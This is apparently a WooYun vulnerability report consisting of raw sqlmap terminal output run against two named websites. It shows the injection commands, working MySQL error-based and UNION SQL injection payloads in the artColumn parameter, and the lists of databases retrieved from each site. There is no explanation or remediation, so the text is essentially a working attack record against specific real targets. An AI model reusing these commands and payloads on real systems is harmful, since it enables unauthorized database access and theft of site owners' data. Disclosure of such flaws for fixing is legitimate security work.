WooYun.org

[root@Hacker~]# Sqlmap -u http://www.hbexgs.com/news/listSpecial.jsp?artColumn=0
30313 --dbs
    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 12:29:03
[12:29:04] [INFO] resuming back-end DBMS 'mysql'
[12:29:04] [INFO] testing connection to the target url
[12:29:08] [INFO] heuristics detected web page charset 'ISO-8859-2'
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: artColumn
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: artColumn=030313' AND (SELECT 5753 FROM(SELECT COUNT(*),CONCAT(0x3a
76786d3a,(SELECT (CASE WHEN (5753=5753) THEN 1 ELSE 0 END)),0x3a636a6d3a,FLOOR(R
AND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'rymQ'='rym
Q
    Type: UNION query
    Title: MySQL UNION query (NULL) - 1 column
    Payload: artColumn=030313' LIMIT 1,1 UNION ALL SELECT CONCAT(0x3a76786d3a,0x
5a5758644f4c4e506a45,0x3a636a6d3a)#
---
[12:29:08] [INFO] the back-end DBMS is MySQL
web application technology: JSP
back-end DBMS: MySQL 5.0
[12:29:08] [INFO] fetching database names
[12:29:10] [WARNING] reflective value(s) found and filtering out
[12:29:10] [WARNING] the SQL query provided does not return any output
[12:29:10] [INFO] the SQL query used returns 6 entries
[12:29:10] [INFO] retrieved: information_schema
[12:29:10] [INFO] retrieved: exbbs
[12:29:10] [INFO] retrieved: exgs
[12:29:10] [INFO] retrieved: mysql
[12:29:10] [INFO] retrieved: test
[12:29:11] [INFO] retrieved: zgzj
available databases [6]:
[*] exbbs
[*] exgs
[*] information_schema
[*] mysql
[*] test
[*] zgzj
[12:29:11] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 7 times
[12:29:11] [INFO] fetched data logged to text files under 'C:\tools\SQLMAP~1\SQL
MAP~1\Bin\output\www.hbexgs.com'
[*] shutting down at 12:29:11

[root@Hacker~]# Sqlmap -u http://www.hbhsgs.com/hsgs/news/listSpecial.jsp?artCol
umn=0001 --dbs
    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 12:44:04
[12:44:04] [INFO] resuming back-end DBMS 'mysql'
[12:44:04] [INFO] testing connection to the target url
[12:44:05] [INFO] heuristics detected web page charset 'ISO-8859-2'
[12:44:05] [WARNING] the web server responded with an HTTP error code (500) whic
h could interfere with the results of the tests
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: artColumn
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: artColumn=0001' AND (SELECT 9440 FROM(SELECT COUNT(*),CONCAT(0x3a63
77613a,(SELECT (CASE WHEN (9440=9440) THEN 1 ELSE 0 END)),0x3a6270683a,FLOOR(RAN
D(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'ElXr'='ElXr
    Type: UNION query
    Title: MySQL UNION query (NULL) - 1 column
    Payload: artColumn=0001' LIMIT 1,1 UNION ALL SELECT CONCAT(0x3a6377613a,0x72
6873547a71566b426c,0x3a6270683a)#
---
[12:44:05] [INFO] the back-end DBMS is MySQL
web application technology: JSP
back-end DBMS: MySQL 5.0
[12:44:05] [INFO] fetching database names
[12:44:05] [WARNING] the SQL query provided does not return any output
[12:44:06] [INFO] the SQL query used returns 10 entries
[12:44:06] [INFO] retrieved: information_schema
[12:44:06] [INFO] retrieved: esetradb
[12:44:06] [INFO] retrieved: hsgs
[12:44:06] [INFO] retrieved: hssdd
[12:44:06] [INFO] retrieved: hszt
[12:44:07] [INFO] retrieved: lybbs
[12:44:07] [INFO] retrieved: mysql
[12:44:07] [INFO] retrieved: sbd
[12:44:07] [INFO] retrieved: test
[12:44:07] [INFO] retrieved: xsguanzhu
available databases [10]:
[*] esetradb
[*] hsgs
[*] hssdd
[*] hszt
[*] information_schema
[*] lybbs
[*] mysql
[*] sbd
[*] test
[*] xsguanzhu
[12:44:07] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 13 times
[12:44:07] [INFO] fetched data logged to text files under 'C:\tools\SQLMAP~1\SQL
MAP~1\Bin\output\www.hbhsgs.com'
[*] shutting down at 12:44:07